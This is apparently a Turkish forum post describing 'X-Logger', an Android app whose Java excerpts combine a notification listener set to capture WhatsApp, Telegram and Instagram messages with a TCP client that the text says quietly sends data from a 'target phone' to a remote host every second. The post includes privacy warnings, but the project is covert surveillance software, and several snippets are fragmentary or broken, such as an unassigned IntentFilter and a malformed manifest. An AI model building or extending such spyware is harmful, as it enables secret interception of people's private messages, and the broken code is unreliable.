NoT
X-Logger Proje içerisinde kullanılan
Java dosyalarından bir kaçı inceleme yapabilirsiniz
Konu şuan hazır değil ancak hızlı bir şekilde sunuma hazırlanıyor.
X-Logger Uygulama Kaynak Kod Yapısı
Uygulama 3 Ana ekrandan oluşmaktadır
{Scree1} Açılış ekranı {Screen2} Ana ekran {Screen3} Deep links
Java:
<manifest>
<activity>
android:name="X-logger.Screen1"
android:name="X-logger.Screen2"
android:name="X-logger.Screen3"
<activity>
<manifest>
Java:
public abstract class NotificationListenerService
extends Service
java.lang.Object
↳ android.content.Context
↳ android.content.ContextWrapper
↳ android.app.Service
↳ android.service.notification.NotificationListenerService
//NotificationListener.java
LocalBroadcastManager fonksiyonu local bir işlev üstlenir developer.android.com tehlikeli fonksiyon olduğunu tespit edip kullanımını kesinlikle tavsiye etmiyor
Türkçesi 'Yerel Yayın Yöneticisi' telefonların işletim sistemleri ve kullanıcı verilerini tek bir noktadan izlenmesine ve takip edilmesine olanak sağlıyan -
//NotificationListenerService - LocalBroadcastManager ikilisi.
Bu tarz uygulamalar kullanılması tavsiye edilmez ihtiyaç dahi olsa riske girilmez.
Java:
private void startListeningLocal() {
IntentFilter intentFilter;
if (!this.listening) {
new IntentFilter("LOCAL");
LocalBroadcastManager.getInstance(this.form).registerReceiver(this.NotificationReceiver, intentFilter);
this.listening = true;
}
}
//NotificationListener.java
X-Logger uygulamasına daha sonra eklenecek özellik "filtered Packages"
İstenirse -bir veya birden fazla uygulama ( Veri akışını izliyecek ve gözetliyecek duyacak topluyacak )
Örk = WhatsApp uygulaması için 'com.whatsapp' veya Telegram, Instagram gibi sadece izlemek istediğiniz uygulamalar için
Paket isimlleri birden fazla ise virgül ile ayrıştırılacak.
com.whatsapp, org.telegram.messenger, com.instagram.android
'X-Logger' bizim için sadece '3' uygulamayı izliyecek dinliyecek tüm veri akışını takip edecek.
Java:
@SimpleFunction(description = "Retrieve available notifications by packageName specified in filtered Packages")
public String GetNotificationsByPackage(String packageName) {
JSONArray list = notifications.optJSONArray(packageName);
return list != null ? list.toString() : "[]";
}
Java:
@UsesServices(services = {
@ServiceElement(
name = "NotificationListener$NotificationService",
label = "NotificationService",
permission = "android.permission.BIND_NOTIFICATION_LISTENER_SERVICE",
intentFilters = {
@IntentFilterElement(actionElements = {@ActionElement(name = "android.service.notification.NotificationListenerService")
Sistem uygulamaları ve kullanıcı uygulamaları dâhi örk WhatsApp Instagram Twitter Telegram Facebook Tiktok ve tüm uygulamalar
".NotificationListenerService" servisi tarafından dinlenir izlenir takip edilir ve uygulama verileri okunabilir saklanabilir çünkü "SharedPreferences" olayını tetikler.
"NotificationListenerService" servisi bizim görmediğimiz fark etmediğimiz tüm işlem akışını izliyebilir.
Java:
"android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
https://developer.android.com
public abstract class NotificationListenerService
extends Service
java.lang.Object
↳ android.content.Context
↳ android.content.ContextWrapper
↳ android.app.Service
↳ android.service.notification.NotificationListenerService
Bu izine sahip bir uygulamayı kullanmak isterseniz tavsiyem 2 kere düşünmeniz hassas bir öneme sahip gizlilik ihlali veri sızıntısı tehlikesi ile karşı karşıya kalınabilir.
//TcpClient.java
TcpClient remoteAdress - remotePort gibi basit bir işlem ile 3 temel fonksiyon çalıştırılıyor.
(disconnect)-(tcpChannel)-(connect) Tcp protokolü Remotehost ve Remoteport ile uzak ağ bağlantısını sessiz bir şekilde yapar
biz buna 'Deep Links' diyelim. 'connect - bağlanır 'tcpchannal - hedef telefondan veri transferi için köprü oluşturur ve bunu her saniye tekrarlıyabilir hiç kimse fark edemez
'disconnect - bağlantıyı keser ve veri akışını gelmesini durdurur.
Java:
new TcpChannel(this);
this.tcpChannel = tcpChannel2;
final String str2 = host;
final int i4 = port;
final int i5 = connectTimeout;
final int i6 = socketTimeout;
final Charset charset3 = charset2;
new Runnable(this) {
final /* synthetic */ TcpClient this$0;
}
Java:
/* access modifiers changed from: package-private */
public void messageReceived(String text) {
this.extensionBase.MessageReceived(text);
}
//NetworkUsage.java
Network Traffic Control
NetworkUsage1$TrafficChanged
Java:
@SimpleProperty(description = "Data type : Wifi")
public int DataWifi() {
return 2;
}
@SimpleProperty(description = "Data type : Mobile")
public int DataMobile() {
return 1;
}
@SimpleProperty(description = "Data type : ( Wifi, Mobile )")
public int DataAll() {
return 0;
}
@SimpleProperty(description = "[Set State] Return in Bits instead of Bytes")
public void ReturnBits(boolean z) {
SHOW_SPEED_IN_BITS = z;
}
@SimpleProperty(description = "[Get State] Return in Bits instead of Bytes")
public boolean ReturnBits() {
return SHOW_SPEED_IN_BITS;
}
@SimpleProperty(description = "[Set State] Human Readable Output - Kb,Mb,Gb")
public void FormattedTraffic(boolean z) {
FORMATTED_TRAFFIC = z;
}
@SimpleProperty(description = "[Get State] Human Readable Output - Kb,Mb,Gb")
public boolean FormattedTraffic() {
return FORMATTED_TRAFFIC;
}
//LocalBroadcastManager.java
Java:
private static final class ReceiverRecord {
boolean broadcasting;
boolean dead;
final IntentFilter filter;
final BroadcastReceiver receiver;
ReceiverRecord(IntentFilter _filter, BroadcastReceiver _receiver) {
this.filter = _filter;
this.receiver = _receiver;
}
public String toString() {
StringBuilder sb;
new StringBuilder(128);
StringBuilder builder = sb;
StringBuilder append = builder.append("Receiver{");
StringBuilder append2 = builder.append(this.receiver);
StringBuilder append3 = builder.append(" filter=");
StringBuilder append4 = builder.append(this.filter);
if (this.dead) {
StringBuilder append5 = builder.append(" DEAD");
}
StringBuilder append6 = builder.append("}");
return builder.toString();
}
}
//Screen.java
//Firebase kullanarak uygulamayı revize ederek güncellediğim kullanıcılara bildirim göndermek
//Revize edilen uygulama yüklenmez güncellenmez ise uygulama otomatik kendini kilitliyecek ve kapatacaktir
//Firebase RealDatabase servisinden "DataChanged" kullanılmıştır uygulamaya sadece veri gönderebilir
&& //Hiç bir veri talep edilmez izlenmez transfer edilemez
&& //Firebase kaynak kodu "{Screen2}" SCREEN2.JAVA içerisinde gözlemlenebilir.